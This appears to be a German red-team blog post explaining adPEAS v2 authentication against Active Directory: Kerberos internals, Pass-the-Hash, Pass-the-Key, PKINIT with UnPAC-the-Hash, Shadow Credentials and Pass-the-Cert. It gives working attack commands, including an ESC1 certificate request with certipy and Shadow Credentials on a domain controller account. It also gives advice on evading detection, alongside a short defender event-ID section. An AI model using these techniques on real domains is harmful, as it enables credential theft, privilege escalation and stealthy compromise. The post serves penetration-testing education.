SEKurity GmbH Logo
adPEAS

adPEAS v2 Episode 3: Authentication Deep-Dive - Von Passwort bis Zertifikat

Deep Dive in die adPEAS v2 Authentifizierung: Kerberos-Internals, Pass-the-Hash, Pass-the-Key, PKINIT mit Zertifikaten, Shadow Credentials und Pass-the-Cert via Schannel.

Alexander Sturz

Gründer & Red Team Lead

15 Min. Lesezeit
Teilen:

Einführung: Der Höllenhund und seine drei Köpfe

Authentifizierung in Active Directory ist ein komplexes Thema. In diesem Blogpost geht es tief in die Materie: Wie funktioniert Kerberos? Was ist Pass-the-Hash? Wozu braucht man PKINIT? Und was tun, wenn nichts funktioniert?

Falls die Frage aufkommt, warum das Protokoll “Kerberos” heißt: Das kommt aus der griechischen Mythologie. Kerberos (oder Cerberus) war der dreiköpfige Höllenhund, der den Eingang zur Unterwelt bewachte. Die drei “Köpfe” bei Kerberos-Authentifizierung sind: Client, Server und KDC (Key Distribution Center). Ob das Protokoll manchmal die Hölle ist? Ja. Definitiv.


Teil 1: Kerberos - Das Fundament

Das Problem das Kerberos löst

Stellen wir uns ein großes Unternehmen vor. Zugriff auf verschiedene Server — Fileserver, Mailserver, Webserver. Bei jedem Server das Passwort eingeben? Das wäre umständlich und unsicher.

Kerberos löst das elegant:

  1. Einmalige Authentifizierung beim KDC (normalerweise der Domain Controller)
  2. Ausstellung eines “Tickets”, das die Identität beweist
  3. Mit diesem Ticket Zugriff auf alle Services ohne erneute Passworteingabe

Das ist Single Sign-On (SSO) — und Kerberos macht das seit den 80er Jahren.

Die Akteure im Kerberos-Theater

Client — Das System, auf dem adPEAS läuft.

KDC (Key Distribution Center) — Der Schlüsselmeister. In Active Directory ist das der Domain Controller. Er hat zwei Funktionen:

  • AS (Authentication Service) — Gibt das TGT aus
  • TGS (Ticket Granting Service) — Gibt Service Tickets aus

Service/Server — Der Dienst, der genutzt werden soll (z.B. LDAP auf dem DC)

TGT (Ticket Granting Ticket) — Die “Eintrittskarte”. Damit wird bewiesen, dass eine Authentifizierung stattgefunden hat.

Service Ticket (TGS) — Das eigentliche Ticket für einen bestimmten Service.

Der klassische Kerberos-Flow

+----------+                        +---------+                    +---------+
|  Client  |                        |   KDC   |                    | Service |
+----+-----+                        +----+----+                    +----+----+
     |                                   |                              |
     |  1. AS-REQ (ich bin admin)        |                              |
     |---------------------------------->|                              |
     |                                   |                              |
     |  2. AS-REP (hier ist dein TGT)    |                              |
     |<----------------------------------|                              |
     |                                   |                              |
     |  3. TGS-REQ (ich will LDAP)       |                              |
     |---------------------------------->|                              |
     |                                   |                              |
     |  4. TGS-REP (hier Service Ticket) |                              |
     |<----------------------------------|                              |
     |                                   |                              |
     |  5. AP-REQ (hier mein Ticket)     |                              |
     |----------------------------------------------------------------->|
     |                                   |                              |
     |  6. AP-REP (willkommen!)          |                              |
     |<-----------------------------------------------------------------|

Die Idee ist elegant: Das Passwort verlässt nie den Computer. Stattdessen wird alles mit Tickets und verschlüsselten Nachrichten abgewickelt.

Was passiert in adPEAS?

Wenn adPEAS mit einem Passwort gestartet wird:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd"

…passiert unter der Haube Folgendes:

Schritt 1: Key Derivation

Das Passwort wird nie direkt verwendet. Stattdessen wird daraus ein kryptographischer Key abgeleitet:

Password: "P@ssw0rd"
     |
     v
+---------------------------------------+
|           String-to-Key               |
+---------------------------------------+
|  Salt = CONTOSO.COM + username        |
|  PBKDF2 mit 4096 Iterationen         |
|  AES-256 Key Derivation              |
+---------------------------------------+
     |
     v
AES256 Key: 4a3b2c1d5e6f7a8b9c0d1e2f3a4b5c6d...

Der “Salt” ist wichtig — er besteht aus dem REALM (Domain in Großbuchstaben) plus dem Benutzernamen. Das stellt sicher, dass das gleiche Passwort in verschiedenen Domains verschiedene Keys erzeugt.

Schritt 2: AS-REQ bauen

Mit dem Key wird die AS-REQ (Authentication Service Request) gebaut:

$ASREQ = @{
    pvno = 5                          # Kerberos Version
    msg_type = 10                     # AS-REQ
    padata = @(
        @{
            padata_type = 2           # PA-ENC-TIMESTAMP
            padata_value = $encryptedTimestamp
        }
    )
    req_body = @{
        kdc_options = 0x40810010      # Flags
        cname = "admin"               # Client Name
        realm = "CONTOSO.COM"         # Domain
        sname = "krbtgt/CONTOSO.COM"  # TGT Service
        till = "20370913024805Z"      # Gültig bis
        nonce = (Get-Random)          # Zufallszahl
        etype = @(18, 17, 23)         # AES256, AES128, RC4
    }
}

Der verschlüsselte Timestamp ist die “Pre-Authentication”, die beweist, dass das Passwort bekannt ist.

Schritt 3-5: TGT holen, Service Ticket holen, Pass-the-Ticket

Nach Erhalt des TGT wird ein Service Ticket für LDAP angefordert und via PTT (Pass-the-Ticket) in die Windows Session injiziert:

# PTT verwendet die LSA API
[LSATicketImport]::LsaCallAuthenticationPackage(
    $lsaHandle,
    $kerberosPackageId,
    $submitBuffer,      # Unser Ticket
    $submitBufferSize,
    [ref]$null, [ref]$null, [ref]$protocolStatus
)

Danach kann LDAP mit Kerberos-Auth verwendet werden — das Ticket kommt automatisch aus dem Cache.

Encryption Types (etypes)

etypeAlgorithmusSicherheit
18AES256-CTSStark (empfohlen)
17AES128-CTSGut
23RC4-HMACSchwach (aber weiterhin unterstütz)

adPEAS versucht immer zuerst AES256. RC4-HMAC ist der Grund, warum Pass-the-Hash funktioniert — denn bei RC4 wird der NT-Hash direkt als Key verwendet.


Teil 2: Pass-the-Hash & Pass-the-Key

Das Dilemma des Pentesters

Zugang zu einem System ist vorhanden, mit Mimikatz lassen sich die Credentials dumpen:

 * NTLM     : 32ED87BDB5FDC5E9CBA88547376818D4

Der NT-Hash liegt vor. Aber das Passwort? Unbekannt. Cracking könnte Wochen dauern.

Hier kommt Pass-the-Hash ins Spiel: Warum das Passwort cracken, wenn der Hash direkt verwendet werden kann?

Pass-the-Hash in adPEAS

Connect-adPEAS -Domain "contoso.com" -Username "admin" -NTHash "32ED87BDB5FDC5E9CBA88547376818D4"

Bei Kerberos mit RC4-HMAC wird der NT-Hash direkt als Schlüssel verwendet — kein Salt, keine Iterationen:

Bei normalem Password-Login (AES256):
Password -> PBKDF2(Salt, 4096 Iterationen) -> DK -> AES256-Key

Bei Pass-the-Hash (RC4):
NT-Hash -> direkt als Key verwenden

Pass-the-Key: Die AES-Variante

Wenn AES-Keys vorliegen (z.B. aus DCSync oder Rubeus):

# Mit AES256 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES256Key "4a3b2c1d5e6f7a8b..."

# Mit AES128 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES128Key "1a2b3c4d5e6f7a8b..."

Warum ist Pass-the-Key besser als Pass-the-Hash?

  1. Modernere Verschlüsselung — AES256 ist der aktuelle Standard
  2. Weniger Detection — Viele EDR-Lösungen haben spezielle Rules für RC4-Tickets
Detection-Sicht:

RC4-HMAC Ticket anfordern in 2025?
  -> "Das ist verdächtig, wer macht das noch?" -> Alert!

AES256 Ticket anfordern?
  -> "Normal" -> Kein Alert

Non-Domain-Joined: Der eigentliche Vorteil

Es braucht keinen Domain-Join. Weil adPEAS den kompletten Kerberos-Stack selbst implementiert, können von jedem System aus Tickets angefordert werden — Hauptsache es ist ein Windows-System.

Zusammenfassung Pass-the-*

MethodeKey-QuelleEncryptionStealth
PasswordPasswort-EingabeAES256Hoch
Pass-the-HashNT-HashRC4-HMACMittel
Pass-the-Key (AES)AES-KeyAES256/128Hoch
Overpass-the-HashNT-Hash (direkt als RC4-Key)RC4-HMACMittel

Teil 3: PKINIT - Zertifikate statt Passwörter

Wozu PKINIT?

PKINIT ist eine Kerberos-Erweiterung, die es erlaubt, sich mit einem Zertifikat statt einem Passwort zu authentifizieren. Der große Vorteil: Zertifikate sind oft länger gültig als Passwörter — perfekt für Persistence.

+-------------+                                    +---------+
|   Client    |                                    |   KDC   |
| (mit Cert)  |                                    |         |
+----+--------+                                    +----+----+
     |                                                  |
     |  1. AS-REQ mit signierter Nachricht              |
     |      (Beweis: "Ich habe den Private Key")        |
     |------------------------------------------------->|
     |                                                  |
     |  2. AS-REP mit TGT                               |
     |      (Verschlüsselt mit DH-Key)                  |
     |<-------------------------------------------------|

Statt eines verschlüsselten Timestamps wird eine signierte Nachricht gesendet. Das Zertifikat enthält einen Public Key, und durch eine Signatur wird bewiesen, dass der dazugehörige Private Key vorhanden ist.

Welche Zertifikate funktionieren?

OIDNameFunktioniert?
1.3.6.1.4.1.311.20.2.2Smartcard LogonJa
1.3.6.1.5.5.7.3.2Client AuthenticationJa
1.3.6.1.5.2.3.4PKINIT Client AuthJa
2.5.29.37.0Any PurposeJa

Außerdem braucht das Zertifikat einen Subject Alternative Name (SAN) mit dem UPN des Users.

PKINIT in adPEAS

# Mit PFX-Datei
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"

# Mit Passwort-geschützter PFX
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx" -CertificatePassword "MyPfxPassword"

UnPAC-the-Hash: NT-Hash Recovery nach PKINIT

Ein besonders nützlicher Nebeneffekt von PKINIT: Der KDC kann den NT-Hash des Benutzers im Ticket zurück liefern. Warum? Bei PKINIT authentifiziert sich der Client asymmetrisch (Zertifikat) — er besitzt keinen symmetrischen Key. Der KDC packt deshalb die NTLM-Credentials als “Bonus” in den PAC (PAC_CREDENTIAL_INFO, Buffer Type 2), verschlüsselt mit dem DH-derived Key.

adPEAS nutzt das automatisch aus:

Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"
Get-adPEASSession

# Output:
# Authenticated as:                  administrator@CONTOSO.COM
# NT-Hash:                           9ec9d30b8b69ecbbada1d3110f354f8d
# Authentication Method:             Kerberos (TGT/TGS)

Wie funktioniert das technisch?

1. PKINIT AS-REQ/AS-REP -> TGT + DH-derived Key
2. U2U TGS-REQ an sich selbst (enc-tkt-in-skey)
3. KDC antwortet mit Service Ticket inkl. PAC_CREDENTIAL_INFO
4. Service Ticket mit Session Key entschlüsseln (KeyUsage 2)
5. PAC_CREDENTIAL_INFO mit AS-REP Reply Key entschlüsseln (KeyUsage 16)
6. NTLM_SUPPLEMENTAL_CREDENTIAL parsen -> NT-Hash extrahieren

Warum ist das praktisch?

  • Nach einem ADCS-Angriff (ESC1, etc.) hat man ein Zertifikat — aber keinen Hash
  • Mit UnPAC-the-Hash bekommt man den NT-Hash direkt vom KDC
  • Kein Cracking nötig, kein Zugriff auf LSASS oder NTDS.dit
  • Der Hash kann dann für Pass-the-Hash oder offline verwendet werden

Wichtig: Das funktioniert nur nach PKINIT. Bei Password/Hash/Key-Auth liefert der KDC keinen PAC_CREDENTIAL_INFO, weil der Client bereits einen symmetrischen Key besitzt.

Woher bekommt man Zertifikate?

Option 1: Shadow Credentials - Die elegante Alternative

Es gibt einen Weg, Zertifikate für PKINIT zu erhalten, der komplett ohne CA auskommt: Shadow Credentials.

Voraussetzung: Der Domain Functional Level muss Windows Server 2016 oder höher sein. Das Attribut msDS-KeyCredentialLink existiert erst ab dem Schema-Update, das mit dem 2016 Domain Functional Level einhergeht. In Domains mit älterem Functional Level (2012 R2 oder niedriger) sind Shadow Credentials nicht möglich.

Das Prinzip: Jedes AD-Objekt hat ein Attribut msDS-KeyCredentialLink. Bei vorhandenen Schreibrechten darauf kann dort ein Public Key hinterlegt werden. Der dazugehörige Private Key wird zu einem Zertifikat, das für PKINIT funktioniert.

# Schritt 1: Shadow Credential hinzufügen (-PassThru gibt ein Objekt zurück)
$result = Set-DomainUser -Identity "admin" -AddShadowCredential -PassThru

# $result enthält u.a.:
#   .PFXPath     = "C:\admin_20260115_103000.pfx"
#   .PFXPassword = "aB3cD4eF5gH6iJ7kL8m9"
#   .DeviceID    = "a1b2c3d4-..."

# Schritt 2: Mit dem generierten Zertifikat authentifizieren
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword

# Schritt 3: Cleanup
Set-DomainUser -Identity "admin" -ClearShadowCredentials -DeviceID $result.DeviceID

Was passiert technisch?

  1. adPEAS generiert ein RSA-2048 Key Pair
  2. Erstellt eine KEYCREDENTIALLINK_BLOB Struktur (MS-ADTS 2.2.19 Format)
  3. Schreibt das in msDS-KeyCredentialLink
  4. Generiert ein selbst-signiertes X.509-Zertifikat mit Client Auth + Smart Card Logon EKUs
  5. Exportiert als PFX

Warum ist das so effektiv?

  • Keine CA nötig — Funktioniert auch ohne ADCS
  • Keine CA-Logs — Die CA bekommt nichts mit
  • Self-signed ist OK — Der KDC validiert nur, dass der Public Key im AD steht
  • Funktioniert für User UND Computer — Ideal für Lateral Movement

Computer-Accounts nicht vergessen:

$result = Set-DomainComputer -Identity "DC01" -AddShadowCredential -PassThru
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword
# DCSync incoming!

Option 2: ADCS-Zertifikate (ESC1-4, ESC8-9, ESC13, ESC15)

Der klassische Weg über eine vulnerable Certificate Authority:

# Schritt 1: Vulnerable Template finden
Invoke-adPEAS -Module ADCS

# Output:
# [!] ESC1: Template 'WebServer' allows Enrollee Supplies Subject

# Schritt 2: Zertifikat anfordern (z.B. mit Certipy)
certipy req -u 'lowpriv@contoso.com' -p 'P@ssw0rd' -ca 'ROOT-CA' -template 'WebServer' -upn 'administrator@contoso.com'

# Schritt 3: Mit dem Zertifikat authentifizieren
Connect-adPEAS -Domain "contoso.com" -Certificate "administrator.pfx"

Vergleich: Shadow Credentials vs. ADCS-Zertifikate

AspektShadow CredentialsADCS-Zertifikate
Benötigt CANeinJa
CA-LogsKeineEnrollment wird geloggt
Domain Functional Level2016+ erforderlichKeine Anforderung
VoraussetzungSchreibrecht auf msDS-KeyCredentialLinkEnrollment-Berechtigung auf Template
GültigkeitSelbst definiert (default: 1 Jahr)Vom Template vorgegeben
DetectionEvent 5136 (Attribute Modified)Event 4886/4887 (Cert Issued)

Teil 3b: Pass-the-Cert - Wenn Kerberos keine Option ist

Das Problem mit PKINIT

PKINIT ist toll, aber es hat einen Nachteil: Es braucht Kerberos. Port 88 muss erreichbar sein, ein TGT wird angefordert, und das Ticket muss via PTT in die Session injiziert werden. Was aber, wenn Port 88 geblockt ist? Zum Beispiel bei einem SOCKS-Proxy, SSH-Tunnel oder einer Firewall, die nur Port 636 durchlässt oder PKINIT aus welchen Gründen auch immer nicht funktioniert?

Hier kommt Pass-the-Cert (auch Schannel-Authentifizierung genannt) ins Spiel.

Wie funktioniert Pass-the-Cert?

Statt das Zertifikat für Kerberos zu verwenden, wird es direkt im TLS-Handshake präsentiert:

+-------------+                                    +---------+
|   Client    |                                    |   DC    |
| (mit Cert)  |                                    |  :636   |
+----+--------+                                    +----+----+
     |                                                  |
     |  1. TLS ClientHello                              |
     |------------------------------------------------->|
     |                                                  |
     |  2. TLS ServerHello + CertificateRequest         |
     |<-------------------------------------------------|
     |                                                  |
     |  3. TLS Certificate (Client-Zertifikat)          |
     |     + CertificateVerify (Signatur mit PrivKey)   |
     |------------------------------------------------->|
     |                                                  |
     |  4. TLS Finished (Verbindung steht)              |
     |<-------------------------------------------------|
     |                                                  |
     |  Verbindung ist authentifiziert!                 |
     |  Kein Bind() nötig, kein Kerberos, kein TGT      |

Der DC mappt das Zertifikat über Schannel Certificate Mapping auf einen AD-Account. Das ist der gleiche Mechanismus, den Smart Cards bei LDAPS verwenden.

Pass-the-Cert in adPEAS

# Pass-the-Cert (Schannel) - kein Kerberos nötig
Connect-adPEAS -Domain "contoso.com" -Certificate "user.pfx" -ForcePassTheCert

# Mit spezifischem DC
Connect-adPEAS -Domain "contoso.com" -Server "dc01.contoso.com" -Certificate "user.pfx" -ForcePassTheCert

PKINIT vs. Pass-the-Cert: Wann was?

AspektPKINITPass-the-Cert (Schannel)
ProtokollKerberos (Port 88)LDAPS (Port 636)
Port 88 nötigJaNein
Smart Card Logon EKUErforderlichNicht erforderlich
Shadow CredentialsFunktioniertFunktioniert NICHT
ADCS-ZertifikateFunktioniertFunktioniert
LDAP Signing/Channel BindingN/AImmun (TLS liefert beides)

Faustregel:

  • PKINIT (Standard): Wenn Kerberos verfügbar ist
  • Pass-the-Cert (-ForcePassTheCert): Wenn Port 88 geblockt ist oder das Zertifikat kein Smart Card Logon EKU hat (z.B. aus ESC8 Relay) oder aus anderen Gründen PKINIT nicht sauber funktioniert.

Wichtig: Shadow Credentials funktionieren NUR mit PKINIT, nicht mit Pass-the-Cert. Der Grund: Shadow Credentials verwenden Key Credential Link Mapping im AD, während Pass-the-Cert Schannel Certificate Mapping benötigt - das setzt ein CA-ausgestelltes Zertifikat mit UPN/DNS SAN voraus.


Teil 4: Wenn es klemmt - Troubleshooting

Die Fallback-Hierarchie

adPEAS versucht immer den besten verfügbaren Authentifizierungsweg:

1. Native Kerberos (Pass-the-Key/Hash/PKINIT)
       |
       v Wenn das fehlschlägt:
2. NTLM Impersonation (automatisch, unterstützt LDAP Signing)
       |
       v Wenn das fehlschlägt:
3. LDAP SimpleBind (Credentials direkt an den DC)

Häufige Probleme und Lösungen

Problem 1: Port 88 geblockt

[!] Kerberos authentication failed
    Cannot reach KDC on port 88

Lösung: SimpleBind oder NTLM erzwingen

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind
# Oder:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Problem 2: DNS-Auflösung

[!] Cannot resolve KDC
    DNS lookup failed for _kerberos._tcp.contoso.com

Lösung: DC direkt angeben

Connect-adPEAS -Domain "contoso.com" -Server "10.0.0.10" -Username "admin" -Password "P@ssw0rd"

Problem 3: PTT schlägt fehl

[!] Failed to import Kerberos ticket
    LsaCallAuthenticationPackage failed with NTSTATUS 0x...

Hinweis: adPEAS verwendet LsaConnectUntrusted für PTT — das benötigt keine Admin-Rechte. PTT in die eigene Session (LUID 0) funktioniert ohne Elevation.

Falls PTT trotzdem fehlschlägt (z.B. durch restriktive Sicherheitsrichtlinien), kann NTLM Impersonation als Alternative verwendet werden:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Das verwendet runas /netonly-Stil Impersonation — die lokale Session bleibt unverändert, aber Netzwerkzugriffe verwenden die angegebenen Credentials.

Problem 4: Zeitsynchronisation

[!] KRB_AP_ERR_SKEW
    Clock skew too great

Kerberos erlaubt maximal 5 Minuten Zeitabweichung.

Lösung: Zeit synchronisieren oder Kerberos umgehen

# Zeit synchronisieren
w32tm /config /manualpeerlist:DC01.contoso.com /syncfromflags:manual /update
w32tm /resync

# Oder SimpleBind (hat keine Zeitanforderungen)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind

# Oder NTLM Impersonation (hat ebenfalls keine Zeitanforderungen)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM

Die Control-Flags zusammengefasst

FlagBewirkt
-ForceSimpleBindÜberspringt Kerberos UND NTLM Impersonation, geht direkt zu SimpleBind
-ForceKerberosKerberos oder Fehler, kein Fallback
-ForceNTLMNTLM Impersonation (runas /netonly Stil)
-ForcePassTheCertSchannel statt PKINIT (TLS Client-Zertifikat, kein Kerberos)
-UseLDAPSLDAPS erzwingen (Port 636, TLS)
-Server <DC>Bestimmten DC verwenden statt Auto-Discovery

Verbose-Modus

Wenn nichts mehr hilft:

Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -Verbose

Das zeigt genau, wo es hängt.


Detection und Defense

Was Defender sehen

Kerberos (Passwort/Hash/Key):

  • Event ID 4768 (TGT Request) — Normaler Login
  • Event ID 4769 (TGS Request) — Service Ticket
  • RC4-Tickets in modernen Umgebungen sind verdächtig

PKINIT (ADCS-Zertifikate):

  • Event ID 4768 mit Certificate-based Authentication
  • Event ID 4886/4887 (Certificate Request/Issued) auf der CA
  • Ungewöhnliche Zertifikatsausstellungen

PKINIT (Shadow Credentials):

  • Event ID 5136 (Directory Service Object Modified) — Änderung an msDS-KeyCredentialLink
  • Event ID 4768 mit Certificate-based Authentication
  • Keine CA-Events! — Das macht Detection schwieriger

Zusammenfassung

Die Authentifizierungsmethoden im Überblick

MethodeBenötigtEncryptionStealthFallback
PasswortPasswortAES256HochJa (NTLM Impersonation -> SimpleBind)
Pass-the-HashNT-HashRC4-HMACMittelNein (Kerberos erforderlich)
Pass-the-KeyAES-KeyAES256/128HochNein (Kerberos erforderlich)
PKINIT (ADCS)ZertifikatDH+AESHochNein
PKINIT (Shadow)SchreibrechteDH+AESHochNein
Pass-the-CertCA-ZertifikatTLSHochNein (nur Port 636)

Wann was verwenden?

  • Passwort bekannt -> Normaler Login
  • Nur NT-Hash -> Pass-the-Hash (oder Overpass-the-Hash für mehr Stealth)
  • AES-Keys vorhanden -> Pass-the-Key (beste Option für Stealth)
  • ADCS vulnerabel -> PKINIT mit ADCS-Zertifikat
  • Schreibrechte auf AD-Objekt -> Shadow Credentials + PKINIT
  • Zertifikat + Port 88 blockiert -> Pass-the-Cert (-ForcePassTheCert)
  • Kerberos blockiert -> SimpleBind oder NTLM Impersonation

Die wichtigsten Takeaways

  1. Kerberos ist Ticket-basiert - Das Passwort verlässt nie den Computer
  2. Pass-the-Hash nutzt RC4 - Der Hash ist direkt der Key
  3. Pass-the-Key ist stealthier - AES256 ist der Standard
  4. PKINIT braucht nicht zwingend eine CA - Shadow Credentials funktionieren ohne (ab DFL 2016)
  5. Pass-the-Cert umgeht Kerberos komplett - Nur Port 636 nötig, ideal hinter Proxies/Tunneln
  6. adPEAS hat eingebaute Fallbacks - Es findet automatisch einen Weg
  7. Verbose-Modus nutzen - Zeigt bei Problemen, wo es hängt

In den nächsten Episoden geht es um die Check-Module — dort wird es richtig interessant, denn das ist der Teil, in dem tatsächlich Schwachstellen gefunden werden.


← Episode 2: Unter der Haube | Episode 4: Security Checks — coming soon

Über den Autor

Alexander Sturz

Gründer & Red Team Lead

Active Directory Ninja und Experte für offensive Sicherheit mit Spezialisierung auf Kompromittierung von Unternehmensinfrastrukturen und Post-Exploitation-Techniken.

Verwandte Artikel